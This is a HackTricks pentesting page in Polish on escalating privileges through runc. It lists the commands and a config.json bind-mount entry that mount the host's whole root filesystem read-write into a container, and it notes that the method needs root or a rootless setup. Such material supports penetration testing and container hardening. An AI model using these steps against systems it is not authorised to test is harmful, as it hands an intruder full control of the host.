RunC Privilege Escalation

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Jeśli chcesz dowiedzieć się więcej o runc, sprawdź następującą stronę:

page2375, 2376 Pentesting Docker

PE

Jeśli zauważysz, że runc jest zainstalowany na hoście, możesz być w stanie uruchomić kontener montujący folder root / hosta.

runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},

#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs

# Finally, start the container
# The root folder is the one from the host
runc run demo

To nie zawsze zadziała, ponieważ domyślnie runc działa jako root, więc uruchomienie go jako użytkownik bez uprawnień nie może działać (chyba że masz konfigurację bez uprawnień). Ustawienie konfiguracji bez uprawnień jako domyślnej zazwyczaj nie jest dobrym pomysłem, ponieważ istnieje wiele ograniczeń wewnątrz kontenerów bez uprawnień, które nie mają zastosowania poza nimi.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated